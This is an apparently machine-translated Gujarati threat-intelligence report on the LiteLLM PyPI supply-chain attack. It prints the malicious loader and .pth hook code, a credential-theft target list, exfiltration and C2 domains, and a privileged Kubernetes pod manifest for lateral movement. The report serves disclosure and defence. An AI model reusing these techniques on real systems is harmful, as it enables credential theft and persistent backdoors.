LiteLLM સપ્લાય ચેઇન હુમલો

LiteLLM સપ્લાય ચેઇન એટેક: ટીમપીસીપીએ કેવી રીતે બેકડોર એઆઈ ઇન્ફ્રાસ્ટ્રક્ચરને અવરોધ્યું

આ કેમ મહત્વનું છે

24 માર્ચ, 2026 ના રોજ, લોકપ્રિય પાયથોન પેકેજ લિટેલ્મ, હજારો લોકો દ્વારા ઉપયોગમાં લેવાતો એક સાર્વત્રિક LLM પ્રોક્સી ગેટવે enterpriseઓપનએઆઈ, એન્થ્રોપિક, ગૂગલ અને AWS બેડરોક જેવા એપ્લિકેશનો અને AI પ્રદાતાઓ વચ્ચે ટ્રાફિકને રૂટ કરવા માટે, PyPI પર શાંતિથી સમાધાન કરવામાં આવ્યું હતું. બે ઝેરી આવૃત્તિઓ (1.82.7 અને 1.82.8) એકબીજાથી 13 મિનિટની અંદર પ્રકાશિત કરવામાં આવી હતી, જેમાં એક મલ્ટી-સ્ટેજ પેલોડ હતું જે ઓળખપત્રો ચોરી લેતું હતું, ક્લાઉડ રહસ્યો બહાર કાઢતું હતું, કુબર્નેટ્સ ક્લસ્ટરોમાં બાજુમાં ફેલાયું હતું, અને રિમોટ કોડ એક્ઝેક્યુશન ક્ષમતાઓ સાથે સતત બેકડોર ઇન્સ્ટોલ કર્યું હતું.

લગભગ સાથે ૩.૬ મિલિયન દૈનિક ડાઉનલોડ્સ અને ક્લાઉડ-નેટિવ AI ઇન્ફ્રાસ્ટ્રક્ચરમાં ઊંડાણપૂર્વક જમાવટ, litellm એ આધુનિક હુમલાખોરો જે કંઈ ઈચ્છે છે તેના ક્રોસરોડ્સ પર બેઠું છે: દરેક મુખ્ય AI પ્રદાતા માટે API કી, ક્લાઉડ IAM ઓળખપત્રો, કુબર્નેટ્સ રહસ્યો અને SSH કી.

પરંતુ લિટલમ સમાધાન કોઈ એકલ ઘટના નહોતી. તે એક પરાકાષ્ઠા હતી પાંચ દિવસીય, પાંચ-ઇકોસિસ્ટમ ઝુંબેશ તરીકે ઓળખાતા ધમકી આપનાર અભિનેતા દ્વારા ટીમપીસીપી, એક ઝુંબેશ જેણે પહેલા સુરક્ષા સ્કેનર્સ (એક્વા ટ્રિવી, ચેકમાર્ક્સ KICS) ને ઝેર આપ્યું, પછી ચોરાયેલાનો ઉપયોગ કર્યો CI/CD npm, OpenVSX અને અંતે PyPI માં ડાઉનસ્ટ્રીમમાં પ્રવેશવા માટે ઓળખપત્રો. હુમલાખોરોએ તે જ સાધનોનો ઉપયોગ કર્યો જેના પર સંસ્થાઓ તેમની સપ્લાય ચેઇનને સુરક્ષિત રાખવા માટે આધાર રાખે છે.

આ હુમલો સપ્લાય ચેઇન ધમકીના સુસંસ્કૃતતામાં એક પગલું પરિવર્તન રજૂ કરે છે. મલ્ટી-હોપ, ક્રોસ-ઇકોસિસ્ટમ ડિઝાઇન, ઉચ્ચ-મૂલ્ય સુધી પહોંચવા માટે સુરક્ષા ટૂલિંગ સાથે સમાધાન કરે છે AI ઈન્ફ્રાસ્ટ્રક્ચર, વધતા કોમોડિટાઇઝ્ડ એટેક ટૂલિંગ સાથે સુસંગત આયોજન અને ઓપરેશનલ પરિપક્વતાના સ્તરને પ્રતિબિંબિત કરે છે. પેલોડ્સ રીઅલ ટાઇમમાં પુનરાવર્તિત કરવામાં આવ્યા હતા (સોર્સ કોડમાં ત્રણ પેલોડ વેરિઅન્ટ દેખાય છે, જેમાં ટિપ્પણી કરેલ અગાઉના સંસ્કરણોનો સમાવેશ થાય છે), C2 ઇન્ફ્રાસ્ટ્રક્ચર હુમલાના એક દિવસ પહેલા રજીસ્ટર કરવામાં આવ્યું હતું, અને એક્સફિલ્ટ્રેશન ડોમેન્સને કાયદેસર વિક્રેતા ઇન્ફ્રાસ્ટ્રક્ચરની નકલ કરવા માટે કાળજીપૂર્વક પસંદ કરવામાં આવ્યા હતા. કાર્ડાનો સાઇનિંગ કી અને વાયરગાર્ડ રૂપરેખાઓ જેવા વિશિષ્ટ લક્ષ્યો સહિત 15+ શ્રેણીઓને આવરી લેતું વ્યવસ્થિત રીતે વ્યાપક ઓળખપત્ર હાર્વેસ્ટર, એક ડિગ્રી સંપૂર્ણતા સૂચવે છે જે ફોર્સ ગુણક તરીકે AI-સહાયિત માલવેર વિકાસ તરફ નિર્દેશ કરે છે.

સમયરેખા

તારીખ (UTC) ઇવેન્ટ
માર્ચ 19 ટીમપીસીપી એક્વા ટ્રિવી ગિટહબ એક્શન ટૅગ્સ સાથે ચેડા કરે છે, તેમને દૂષિત કોડથી બદલી નાખે છે જે બહાર નીકળી જાય છે CI/CD ડાઉનસ્ટ્રીમ રિપોઝીટરીઝમાંથી રહસ્યો
માર્ચ 21 સમાધાન સમાન તકનીકોનો ઉપયોગ કરીને ચેકમાર્ક્સ KICS અને AST ગિટહબ એક્શન સુધી વિસ્તરે છે
22 માર્ચ, 06:35 BerriAI સામાન્ય મારફતે litellm 1.82.6 (છેલ્લું સ્વચ્છ સંસ્કરણ) પ્રકાશિત કરે છે CI/CD pipeline જે સુરક્ષા સ્કેનિંગ માટે ટ્રિવીનો ઉપયોગ કરે છે
માર્ચ 23 TeamPCP models.litellm.cloud (એક્સફિલ્ટ્રેશન ડોમેન) રજીસ્ટર કરે છે. 66+ npm પેકેજો અને OpenVSX એક્સટેન્શન સાથે ચેડા કરે છે.
24 માર્ચ, 10:39 litellm 1.82.7 PyPI પર પ્રકાશિત -- પેલોડ ઇન્જેક્ટેડ proxy_server.py મોડ્યુલ સ્કોપ પર. આયાત પર એક્ઝિક્યુટ કરે છે
24 માર્ચ, 10:52 litellm 1.82.8 13 મિનિટ પછી પ્રકાશિત થયું -- ઉમેરે છે litellm_init.pth, એક પાયથોન પાથ રૂપરેખાંકન હૂક જે દરેક પાયથોન ઇન્ટરપ્રીટર સ્ટાર્ટઅપ પર એક્ઝિક્યુટ થાય છે, ફક્ત litellm આયાત પર જ નહીં. ઝડપી પેલોડ પુનરાવર્તન બતાવે છે
૨૪ માર્ચ, ~૧૬:૦૦ સમુદાય અહેવાલો પછી PyPI બંને સંસ્કરણોને દૂર કરે છે. સંસ્કરણો ઇન્ડેક્સમાંથી સંપૂર્ણપણે કાઢી નાખવામાં આવે છે (યાન્ક કરવામાં આવતા નથી), જોકે CDN ટારબોલ્સ સુલભ રહે છે.

એક્સપોઝર વિન્ડો: આશરે 5.5 કલાક. આ સમય દરમિયાન, કોઈપણ pip install litellm, pip install --upgrade litellm, અથવા CI/CD pipeline નવીનતમ સંસ્કરણ ખેંચવાથી પેલોડ એક્ઝિક્યુટ થઈ ગયો હોત.

માલવેર કેવી રીતે પ્રવેશ્યું: એક મોટો સમાધાન

લિટેલ્મ પેકેજનો સીધો ભંગ થયો ન હતો. હુમલાખોરે તેના સુધી એક દ્વારા પહોંચ્યો હતો ટુ-હોપ સપ્લાય ચેઇન હુમલો:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

લાઇટએલએલએમ'સ CI/CD pipeline ટ્રિવીનો ઉપયોગ સુરક્ષા સ્કેનર તરીકે કર્યો હતો - નબળાઈઓને પકડવા માટે રચાયેલ સાધન પોતે જ હુમલો વેક્ટર હતું. કારણ કે pipeline પિન કરેલાને બદલે પરિવર્તનીય ટેગ દ્વારા ટ્રિવીનો સંદર્ભ આપવામાં આવ્યો commit SHA, ચેડા કરાયેલ ક્રિયા આપમેળે ચાલી. દુર્ભાવનાપૂર્ણ ટ્રિવી ક્રિયાએ પર્યાવરણીય રહસ્યો ઉજાગર કર્યા, જેમાં PYPI_PUBLISH ટોકન, TeamPCP ને litellm PyPI પ્રોજેક્ટની સીધી પ્રકાશન ઍક્સેસ આપે છે.

આ "રક્ષકો સાથે સમાધાન કરો" વ્યૂહરચના ટીમપીસીપી ઝુંબેશની એક ઓળખ છે. સુરક્ષા સાધનોને પહેલા નિશાન બનાવીને (ટ્રિવી, ચેકમાર્ક્સ કેઆઈસીએસ), હુમલાખોરોએ એકસાથે શોધને અક્ષમ કરી દીધી અને ડાઉનસ્ટ્રીમ સપ્લાય ચેઇન્સમાં વિશેષાધિકૃત ઍક્સેસ મેળવી.

ટેકનિકલ વિશ્લેષણ: પેલોડ

ઇન્જેક્શન પોઇન્ટ્સ

આવૃત્તિ 1.82.7 — મોડ્યુલ-સ્તરનું અમલીકરણ litellm/proxy/proxy_server.py (લાઇન ૧૨૮):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

આ કોડ ડિક્શનરી લિટરલ અને ઓરિજિનલ વચ્ચે મોડ્યુલ સ્કોપ પર બેસે છે. showwarning() કાર્ય. તે તરત જ અમલમાં આવે છે જ્યારે litellm.proxy.proxy_server આયાત કરવામાં આવે છે — જે litellm ની પ્રોક્સી કાર્યક્ષમતાના કોઈપણ ઉપયોગ પર થાય છે.

આવૃત્તિ 1.82.8 — ઉમેર્યું litellm_init.pth (પાયથોન પાથ રૂપરેખાંકન ફાઇલ):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

પાયથોન .pth માં ફાઇલો site-packages/ દરેક ઇન્ટરપ્રીટર સ્ટાર્ટઅપ પર પ્રક્રિયા કરવામાં આવે છે, પરંતુ ફક્ત થી શરૂ થતી લાઇનો import કોડ તરીકે ચલાવવામાં આવે છે. હુમલાખોર સમગ્ર પેલોડને એક જ પર સાંકળીને આનો ઉપયોગ કરે છે import નિવેદન: import os, subprocess, sys; subprocess.Popen(...). આ proxy_server.py ઇન્જેક્શન કરતાં ઘણું વધારે આક્રમક છે - દરેક Python પ્રક્રિયા લોન્ચ પર, જો litellm ક્યારેય આયાત ન થાય તો પણ તે કાર્ય કરે છે. pyproject.toml આ ફાઇલને વિતરણમાં સમાવવા માટે સંશોધિત કરવામાં આવી હતી:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

આવૃત્તિ ૧.૮૨.૮ આમ છે બે સ્વતંત્ર અમલીકરણ માર્ગો: proxy_server.py ઇન્જેક્શન (litellm પ્રોક્સી આયાત પર કાર્ય કરે છે) અને .pth ફાઇલ (કોઈપણ Python સ્ટાર્ટઅપ પર કાર્ય કરે છે). આ રીડન્ડન્સી પોતે જ નોંધપાત્ર છે - તે ફક્ત બંને પાથને શોધવા અથવા દૂર કરવા સામે રક્ષણ આપે છે. 1.82.7 પછી માત્ર 13 મિનિટમાં આયાત-સમયથી સ્ટાર્ટઅપ-સમય એક્ઝેક્યુશન સુધીનો વધારો સૂચવે છે કે હુમલાખોર ડિપ્લોયમેન્ટ સફળતા પર નજર રાખી રહ્યો હતો અને ઝડપથી પુનરાવર્તન કરી રહ્યો હતો.

સ્ટેજ ૧: વ્યાપક ઓળખપત્ર લણણી

ડીકોડેડ આંતરિક સ્ક્રિપ્ટ એક ઝીણવટભર્યું ઓળખપત્ર શૂન્યાવકાશ છે. તે ઉપયોગ કરે છે os.walk()glob.glob()subprocess.check_output(), અને સમગ્ર સિસ્ટમને સ્વીપ કરવા માટે ડાયરેક્ટ ફાઇલ રીડ્સ:

વર્ગ લક્ષ્યાંક
સિસ્ટમ રીકોન hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; માંથી હોસ્ટ કી /etc/ssh/
ક્લાઉડ (AWS) ~/.aws/credentials, ~/.aws/config; IMDS રોલ ઓળખપત્રો દ્વારા 169.254.169.254; સિક્રેટ્સ મેનેજર ListSecrets; એસએસએમ DescribeParameters
ક્લાઉડ (GCP) ~/.config/gcloud/ (રિકર્સિવ); $GOOGLE_APPLICATION_CREDENTIALS
વાદળ (નીલમ) ~/.azure/ (પુનરાવર્તિત); પર્યાવરણ ચલો
ક્યુબર્નેટિસ સેવા ખાતાના ટોકન્સ; ca.crt; નામસ્થળ; kubectl get secrets --all-namespaces; K8s API દ્વારા બધા રહસ્યો
પર્યાવરણ ફાઇલો .env, .env.local, .env.production, .env.development, .env.staging — વારંવાર શોધાયેલ (ઊંડાઈ 6) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Docker ~/.docker/config.json, /kaniko/.docker/config.json
પેકેજ ટોકન્સ ~/.npmrc, ~/.vault-token, ~/.netrc
ડેટાબેસેસ ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, મોંગોડીબી રૂપરેખાંકનો
TLS / SSL ખાનગી કીઝ /etc/ssl/private/, ચાલો પ્રમાણપત્રોને એન્ક્રિપ્ટ કરીએ, બધા .pem/.key/.p12/.pfx ફાઈલો
ગિટ ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
ક્રિપ્ટો પાકીટ બિટકોઈન, ઇથેરિયમ કીસ્ટોર, સોલાના કીપેયર (માન્યકર્તા, મત, હિસ્સો, નળ), કાર્ડાનો સાઇનિંગ કી, લાઇટકોઇન, ડોગેકોઇન, ઝેકેશ, ડેશ, રિપલ, મોનેરો
શેલ ઇતિહાસ .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
સિસ્ટમ પ્રમાણીકરણ /etc/passwd, /etc/shadow, પ્રમાણીકરણ લૉગ્સ (સ્વીકૃત SSH સત્રો)
વેબહૂક/API કી સ્લેક વેબ માટે ગ્રેપhooks, ડિસ્કોર્ડ વેબhooks, રૂપરેખા ફાઇલોમાં API કી/રહસ્યો
વીપીએન વાયરગાર્ડ રૂપરેખાંકનો /etc/wireguard/

આ હાર્વેસ્ટરનો અવકાશ જ્ઞાનકોશીય છે. તે ફક્ત ક્લાઉડ ઓળખપત્રો જ નહીં પરંતુ ક્રિપ્ટોકરન્સી વોલેટ્સ, ડેટાબેઝ પાસવર્ડ્સ, VPN રૂપરેખાંકનો અને CI/CD રહસ્યો - સૂચવે છે કે હુમલાખોર બહુવિધ વેક્ટર્સમાં ચેડા થયેલી સિસ્ટમોનું મુદ્રીકરણ કરવાનો ઇરાદો ધરાવે છે.

સ્ટેજ 2: એન્ક્રિપ્ટેડ એક્સફિલ્ટરેશન

હાઇબ્રિડ એન્ક્રિપ્શન સ્કીમનો ઉપયોગ કરીને ચોરાયેલ ડેટાને એન્ક્રિપ્ટ અને એક્સફિલ્ટ્રેટ કરવામાં આવે છે:

  • એઇએસ -256-સીબીસી રેન્ડમ 32-બાઇટ સત્ર કી સાથે બધા એકત્રિત ડેટાનું એન્ક્રિપ્શન (દ્વારા openssl enc)
  • આરએસએ-૨૦૪૮ હુમલાખોરની એમ્બેડેડ પબ્લિક કીનો ઉપયોગ કરીને સત્ર કીનું એન્ક્રિપ્શન (OAEP પેડિંગ, દ્વારા openssl pkeyutl)
  • બંને સાઇફરટેક્સ્ટ ફાઇલો આ રીતે બંડલ કરવામાં આવી છે tpcp.tar.gz (આ tpcp ઉપસર્ગ — “ટીમપીસીપી” — સમગ્ર ઝુંબેશમાં સતત દેખાય છે)
  • HTTPS પોસ્ટ કરો https://models.litellm.cloud/ સાથે Content-Type: application/octet-stream

ડોમેન models.litellm.cloud હુમલાના એક દિવસ પહેલા - 23 માર્ચે નોંધાયેલ હતું અને તેને કાયદેસર લિટેલ્મ ઇન્ફ્રાસ્ટ્રક્ચર (વાસ્તવિક પ્રોજેક્ટ ઉપયોગ કરે છે) સાથે ભળી જવા માટે ડિઝાઇન કરવામાં આવ્યું છે. litellm.ai). નેટવર્ક-જાગૃત ડિફેન્ડર પણ જે ઇગ્રેસ ટ્રાફિકની સમીક્ષા કરે છે તે ટ્રાફિકને લિટેલ્મના પોતાના મોડેલ એન્ડપોઇન્ટ પર ફ્લેગ ન પણ કરી શકે.

સ્ટેજ 3: સતત પાછળનો દરવાજો (sysmon.py)

પેલોડ સિસ્ટમ ટેલિમેટ્રીના વેશમાં મતદાન બેકડોર ઇન્સ્ટોલ કરે છે:

  • પાથ~/.config/sysmon/sysmon.py
  • સેવાsysmon.service (સિસ્ટમડી યુઝર યુનિટ, જેને "સિસ્ટમ ટેલિમેટ્રી સર્વિસ" તરીકે વર્ણવવામાં આવ્યું છે)
  • વર્તન: શરૂઆતની 300-સેકન્ડની ઊંઘ પછી, મતદાન https://checkmarx.zone/raw દર ~50 મિનિટે
  • અમલ: C2 દ્વારા પરત કરાયેલ URL ને અહીં ડાઉનલોડ કરે છે /tmp/pglog, તેને એક્ઝિક્યુટેબલ સેટ કરે છે (chmod 755), તેને અલગ સત્રમાં ચલાવે છે
  • રાજ્ય ટ્રેકિંગ/tmp/.pg_state એ જ પેલોડને ફરીથી ડાઉનલોડ કરવાનું અટકાવે છે
  • દ્રઢતાRestart=alwaysRestartSec=10 — ક્રેશ અને રીબૂટથી બચી જાય છે

ડોમેન checkmarx.zone ચેકમાર્ક્સ (સુરક્ષા કંપની) નું ટાઇપોસ્ક્વોટ છે. checkmarx.com), એવી રીતે ડિઝાઇન કરવામાં આવી છે કે નેટવર્ક લોગની સમીક્ષા કરતા SOC વિશ્લેષકો કાયદેસર સુરક્ષા વિક્રેતા તરીકે દેખાતા ટ્રાફિકને જોઈ શકે. આ એક ઇરાદાપૂર્વકની ચોરી તકનીક છે જે TeamPCP ની સુરક્ષા વિક્રેતા બ્રાન્ડિંગ પાછળ છુપાવવાની વ્યાપક વ્યૂહરચના સાથે સુસંગત છે.

સ્ટેજ 3b: કુબર્નેટ્સ લેટરલ મૂવમેન્ટ

જો ચેડા કરાયેલ સિસ્ટમમાં કુબર્નેટ્સ સર્વિસ એકાઉન્ટ ઓળખપત્રો હોય, તો માલવેર બધા ક્લસ્ટર નોડ્સની ગણતરી કરે છે અને વિશેષાધિકૃત પોડ્સ દરેકને:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

દરેક પોડ:

  • તરીકે ચાલે છે વિશેષાધિકૃત સાથે hostPIDhostNetwork, અને સંપૂર્ણ હોસ્ટ ફાઇલસિસ્ટમ ઍક્સેસ
  • ઉપયોગો chroot /host એ જ ઇન્સ્ટોલ કરવા માટે sysmon.py હોસ્ટના રૂટ ફાઇલસિસ્ટમ પર બેકડોર
  • પોડ ડિલીટ થયા પછી પણ ટકાઉપણું જળવાઈ રહે તેની ખાતરી કરીને, તેને systemd સેવા તરીકે રજીસ્ટર કરે છે.
  • નામના node-setup-* માં kube-system નેમસ્પેસ કાયદેસર ક્લસ્ટર ઇન્ફ્રાસ્ટ્રક્ચર તરીકે દેખાશે

આનો અર્થ એ થાય કે એકલ સમાધાન CI/CD K8s ઍક્સેસ ધરાવતા રનરના પરિણામે ક્લસ્ટરના દરેક નોડ બેકડોર થઈ શકે છે — કુબર્નેટ્સમાં લિટેલ્મને પ્રોક્સી તરીકે ચલાવતી સંસ્થાઓ માટે એક વિનાશક બાજુની ચળવળનું દૃશ્ય.

પેલોડ ઇવોલ્યુશન (ટિપ્પણી કરેલ વેરિઅન્ટ્સ)

લાઇન ૧૩૧-૧૩૨ પરના સોર્સ કોડમાં બે ટિપ્પણી-આઉટ અગાઉના પેલોડ વેરિઅન્ટ્સ છે, જે હુમલાખોરની વિકાસ પ્રક્રિયાને છતી કરે છે:

  • ત્રણેય પ્રકારો સમાન એક્સફિલ્ટ્રેશન ઇન્ફ્રાસ્ટ્રક્ચર શેર કરો (models.litellm.cloud), RSA-4096 પબ્લિક કી, AES-256-CBC + RSA હાઇબ્રિડ એન્ક્રિપ્શન રેપર, અને tpcp.tar.gz બંડલ નામકરણ
  • પહેલાના પ્રકારો ઉમેર્યું RC4 એન્ક્રિપ્શન સ્તર ડેટા કલેક્શન સ્ક્રિપ્ટની અંદર, બાહ્ય AES+RSA રેપર પહેલાં હાર્વેસ્ટેડ ડેટાને એન્ક્રિપ્ટ કરીને. આ આંતરિક RC4 સ્તરને દૂર કરીને સક્રિય પેલોડ (લાઇન 130) ને સરળ બનાવવામાં આવ્યું છે.
  • પહેલાના પ્રકારો ઉપયોગ કરે છે exec() સાથે StringIO કલેક્ટરને પ્રક્રિયામાં ચલાવવા માટે કેપ્ચર કરો, જ્યારે સક્રિય પેલોડ ઉપયોગ કરે છે subprocess.run() stdout રીડાયરેક્ટ સાથે — એક સ્વચ્છ વિભાજન જે હોસ્ટ પ્રક્રિયાને પ્રદૂષિત કરવાનું ટાળે છે
  • ત્રણેય પ્રકારો સમાન ઓળખપત્ર શ્રેણીઓ અને સંગ્રહ માર્ગોને લક્ષ્ય બનાવે છે.
  • અગાઉના વેરિઅન્ટ્સમાં RC4 કી એક ઉશ્કેરણીજનક શબ્દ હતો, જે ટેલિગ્રામ પર અભિનેતાના ધ્યાન ખેંચનારા વર્તન સાથે સુસંગત હતો.

આ ઓપરેશન દરમિયાન સક્રિય વિકાસ દર્શાવે છે. હુમલાખોરે એન્ક્રિપ્શન સ્ટેકને સરળ બનાવ્યું અને એક્ઝેક્યુશન આઇસોલેશનમાં સુધારો કર્યો, સાથે સાથે કલેક્શન ટાર્ગેટ અને એક્સફિલ્ટ્રેશન ઇન્ફ્રાસ્ટ્રક્ચરને સ્થિર રાખ્યું.

સમાધાનના સૂચકાંકો (IOCs)

નેટવર્ક

સૂચક પ્રકાર હેતુ
models.litellm.cloud ડોમેન એક્સફિલ્ટરેશન એન્ડપોઇન્ટ (HTTPS POST)
checkmarx.zone ડોમેન C2 મતદાન અંતિમ બિંદુ (HTTPS GET) /raw)

નોંધ: બાહ્ય રિપોર્ટિંગ લિંક્સ checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP ઝુંબેશના પહેલાના KICS તબક્કામાં. આ URL અહીં વિશ્લેષણ કરાયેલા લિટેલ્મ પેલોડ્સમાં મળ્યું નથી.

પેકેજ હેશ

ફાઇલ SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

ફાઇલ સિસ્ટમ

સૂચક પ્રકાર હેતુ
~/.config/sysmon/sysmon.py ફાઇલ સતત બેકડોર સ્ક્રિપ્ટ
~/.config/systemd/user/sysmon.service ફાઇલ સિસ્ટમ્ડ પર્સિસ્ટન્સ યુનિટ
/tmp/pglog ફાઇલ બીજા તબક્કાની બાઈનરી ડાઉનલોડ કરી
/tmp/.pg_state ફાઇલ C2 સ્ટેટ ટ્રેકિંગ
litellm_init.pth in site-packages/ ફાઇલ પાયથોન સ્ટાર્ટઅપ હૂક (ફક્ત સંસ્કરણ 1.82.8)
tpcp.tar.gz ફાઇલ એન્ક્રિપ્ટેડ એક્સફિલ્ટ્રેશન બંડલ

ક્યુબર્નેટિસ

સૂચક પ્રકાર હેતુ
node-setup-* પોડ્સ ઇન kube-system પોડ વિશેષાધિકૃત બાજુની ગતિશીલતા પોડ્સ
sysmon.service ક્લસ્ટર નોડ્સ પર સેવા પોડ એસ્કેપ દ્વારા હોસ્ટ-લેવલ પર્સિસ્ટન્સ

ક્રિપ્ટોગ્રાફિક

સૂચક વિગતો
હુમલાખોર RSA-4096 જાહેર કી SHA256 ફિંગરપ્રિન્ટ: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. ત્રણેય પેલોડ વેરિઅન્ટમાં એમ્બેડેડ; અન્ય TeamPCP કામગીરીમાં સમાન કી રિપોર્ટ કરવામાં આવી
tpcp કલાકૃતિઓમાં ઉપસર્ગ બંડલ નામકરણ સંમેલન (tpcp.tar.gz) સમગ્ર ઝુંબેશમાં સુસંગત

એટ્રિબ્યુશન: ટીમપીસીપી

આ ઝુંબેશ પાછળનો ધમકી આપનાર વ્યક્તિ આ રીતે ટ્રેક કરવામાં આવ્યો છે: ટીમપીસીપી, જેને PCPcat, Persy_PCP, ShellForce અને DeadCatx3 તરીકે પણ ઓળખવામાં આવે છે.

જાણીતા લક્ષણો:

  • ટેલિગ્રામ ચેનલોનું સંચાલન કરે છે @Persy_PCP અને @teampcp જ્યાં તેઓએ સુરક્ષા કંપનીઓને ટોણા માર્યા
  • બહુવિધ ઇકોસિસ્ટમ્સ (GitHub Actions, PyPI, npm, OpenVSX) માં કાર્ય કરે છે.
  • ઝુંબેશના દરેક તબક્કા માટે વિક્રેતા-વિશિષ્ટ ટાઇપોસ્ક્વોટ ડોમેન્સનો ઉપયોગ કરે છે (દા.ત., checkmarx.zone ચેકમાર્ક્સ માટે, models.litellm.cloud થોડુંક માટે)
  • સુસંગત ઇન્ફ્રાસ્ટ્રક્ચર માર્કર્સ: સમાન RSA કી જોડી, tpcp.tar.gz નામકરણ પરંપરા, tpcp-docs-* ડેડ-ડ્રોપ સ્ટેજીંગ તરીકે ઉપયોગમાં લેવાતા GitHub રિપોઝીટરીઝ
  • ડાઉનસ્ટ્રીમ સપ્લાય ચેઇન્સમાં પ્રવેશ બિંદુઓ તરીકે સુરક્ષા સાધનોને લક્ષ્ય બનાવે છે

એટ્રિબ્યુશન કોન્ફિડન્સ: ઉચ્ચ. શેર કરેલ RSA પબ્લિક કી, tpcp પાંચ દિવસના અભિયાનમાં આર્ટિફેક્ટ નામકરણ, C2 ઇન્ફ્રાસ્ટ્રક્ચર ઓવરલેપ અને ઓપરેશનલ ટેમ્પો, ટ્રિવી, KICS, npm, OpenVSX અને litellm સમાધાનોને એક જ અભિનેતા સાથે મજબૂત રીતે જોડે છે.

પ્રોત્સાહન: સંભવિત નાણાકીય (ક્રિપ્ટો વોલેટ ચોરી, ક્લાઉડ ઓળખપત્ર મુદ્રીકરણ) કુખ્યાત (ટેલિગ્રામ ટોન્ટિંગ) સાથે જોડાયેલું. ઓળખપત્ર હાર્વેસ્ટિંગની પહોળાઈ - AWS IAM થી સોલાના માન્યતાકર્તા કીપેયરથી વાયરગાર્ડ રૂપરેખાઓ સુધી - દરેક સમાધાનમાંથી ROI મહત્તમ કરવા માંગતા નાણાકીય રીતે પ્રેરિત અભિનેતા સૂચવે છે.

શક્ય AI સહાય: ક્રેડેન્શિયલ હાર્વેસ્ટર વ્યવસ્થિત રીતે વ્યાપક છે - કાર્ડાનો સાઇનિંગ કી, વાયરગાર્ડ રૂપરેખાઓ અને કનિકો ડોકર ક્રેડેન્શિયલ જેવા વિશિષ્ટ લક્ષ્યો સહિત 15+ શ્રેણીઓ - એ રીતે જે AI-સહાયિત ગણતરી સાથે સુસંગત છે. પેલોડ ઇટરેશનની ગતિ (વિવિધ એન્ક્રિપ્શન યોજનાઓ સાથે ત્રણ પ્રકારો), ક્રોસ-ઇકોસિસ્ટમ કોઓર્ડિનેશન (5 દિવસમાં 5 ઇકોસિસ્ટમ), અને ઓપરેશનલ OPSEC (વેન્ડર-ઇમ્પર્સનેટિંગ ડોમેન્સ, હાઇબ્રિડ એન્ક્રિપ્શન, ટેલિમેટ્રી તરીકે છૂપાયેલ સિસ્ટમડી પર્સિસ્ટન્સ) થ્રુપુટનું સ્તર સૂચવે છે જે ફોર્સ ગુણક તરીકે AI-સહાયિત વિકાસને પ્રતિબિંબિત કરી શકે છે. આ મૂલ્યાંકન અનુમાનિત છે; કુશળ ઓપરેટરો AI ટૂલિંગ વિના સમાન અવકાશ પ્રાપ્ત કરી શકે છે.

નવા TTP અને તકનીકો

૧. સુરક્ષા સાધન સપ્લાય ચેઇન પોઇઝનિંગ (T1195.002 વેરિઅન્ટ)

ડાઉનસ્ટ્રીમ લક્ષ્યો સુધી પહોંચવા માટે પ્રથમ-હોપ તરીકે સુરક્ષા સ્કેનર્સ (ટ્રિવી, KICS) સાથે ચેડાં કરવા એ એક નવી ઘટના છે. હુમલાખોરે ફક્ત એક લાઇબ્રેરી સાથે ચેડાં કર્યા ન હતા - તેઓએ સંગઠનો દ્વારા ઉપયોગમાં લેવાતા સાધનો સાથે ચેડાં કર્યા હતા શોધો ચેડાં કરાયેલી લાઇબ્રેરીઓ. આ એક અંધ સ્થળ બનાવે છે: જે સ્કેનર દૂષિત કોડને પકડી શકે છે તે પોતે જ ડિલિવરી મિકેનિઝમ છે.

2. પાયથોન .pth ફાઇલ પર્સિસ્ટન્સ (T1546)

